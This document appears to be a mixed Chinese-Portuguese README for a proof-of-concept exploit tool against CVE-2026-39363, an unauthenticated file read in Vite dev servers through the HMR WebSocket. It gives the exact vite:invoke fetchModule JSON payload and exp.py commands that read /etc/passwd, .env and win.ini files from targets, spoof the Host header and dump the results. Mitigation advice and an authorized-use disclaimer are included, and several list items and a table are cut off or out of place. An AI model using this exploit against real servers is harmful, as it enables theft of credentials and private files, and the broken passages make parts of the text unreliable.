
方便实用的CVE-2026-39363利用工具
PoC diretamente executável para GHSA-p9ff-h696-f583. Por meio do HMR WebSocket sem autenticação, invoca fetchModule, contornando a restrição server.fs.allow da camada HTTP, para ler arquivos arbitrários na máquina onde o dev server está em execução.
| Linha de versão | Afetada | Corrigida |
|---|---|---|
| Vite 6 | >=6.0.0, <=6.4.1 | 6.4.2 |
| Vite 7 | >=7.0.0, <=7.3.1 | 7.3.2 |
| Vite 8 | >=8.0.0, <=8.0.4 | 8.0.5 |
| vite-plus (branch VoidZero) | <=0.1.15 | 0.1.16 |
Pré-requisitos de exploração:
--host / server.host), eserver.ws: false).CVSS 3.1 7.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N), CWE-200 + CWE-306.
A CISA SSVC já marcou exploitation=poc, automatable=yes.
server.fs.allow (/@fs/<caminho absoluto> → 403).Sec-WebSocket-Protocol: vite-hmr, e?token= apenas quando o cabeçalho Origin está presente (CWE-306: clientes que não são navegadores podem conectar diretamente sem enviar o cabeçalho Origin).vite:invoke para chamar o método fetchModule registrado no servidor, passando file://<caminho absoluto>?raw. O fetchModule passa diretamente pelo pipeline de transformação de módulos, contornando completamente a verificação de fs.allow, e retorna o conteúdo do arquivo como export default "..." (CWE-200).Estrutura da mensagem de requisição vite:invoke (idêntica em v6/v7/v8):
{
"type": "custom",
"event": "vite:invoke",
"data": {
"name": "fetchModule",
"id": "1send",
"data": ["file:///etc/passwd?raw"]
}
}
O servidor responde com o id alterado para 1response, e data.data.result.code contém o conteúdo do arquivo.
Requer apenas a biblioteca padrão do Python 3, sem dependências de terceiros:
# 读单个文件(POSIX 路径)
python exp.py http://target:5173 /etc/passwd
# Windows 路径 + 读多个文件
python exp.py http://target:5173 C:/Users/admin/.env C:/Windows/win.ini
# 保存到目录(文件名按路径自动安全化)
python exp.py http://target:5173 /etc/passwd /etc/hosts -o dump/
# HTTPS dev server
python exp.py https://target:5173 /etc/passwd
# 目标配置了 allowedHosts 域名白名单时,用 IP/localhost 当 Host 头
python exp.py http://192.168.1.10:5173 /etc/passwd --host-header localhost:5173
Parâmetros:
O PoC deste repositório foi testado e validado nos seguintes ambientes (leitura de secret.txt fora da raiz do dev server; o mesmo arquivo via caminho HTTP @fs retorna 403):
vite --host 0.0.0.0, Windows)Passos para reprodução (mesma cadeia do PoC):
# 1. 起一个暴露到网络的受影响 dev server
npm i [email protected] && npx vite --host 0.0.0.0 --port 5173
# 2. HTTP 路径被 fs.allow 拦(预期 403)
curl -i 'http://target:5173/@fs/<root外绝对路径>?raw' # -> 403
# 3. WebSocket 路径可读(本 PoC)
python exp.py http://target:5173 <root外绝对路径>
vite build + hospedagem estática; não execute vite dev.server.ws: false para desabilitar o HMR, ou adicione um proxy reverso permitindo apenas acesso local à porta do dev server.Use apenas em testes de penetração autorizados, reprodução de vulnerabilidades e pesquisa de defesa. As consequências do uso desta ferramenta contra sistemas de terceiros sem autorização são de responsabilidade do usuário.
| Parâmetro | Descrição |
|---|
url | Alvo, ex.: http://192.168.1.10:5173 |
files | Caminho(s) absoluto(s) a serem lidos, no estilo POSIX ou Windows |
--host-header | Forja o cabeçalho Host (padrão: host do alvo). Por padrão, apenas IP/localhost são permitidos; domínios personalizados exigem configuração explícita |
--ws-path | Caminho do HMR WebSocket, padrão / (altere se o alvo configurar server.hmr.path) |
--timeout | Tempo limite em segundos por requisição, padrão 10 |
-o/--output-dir | Salva o conteúdo lido em um diretório |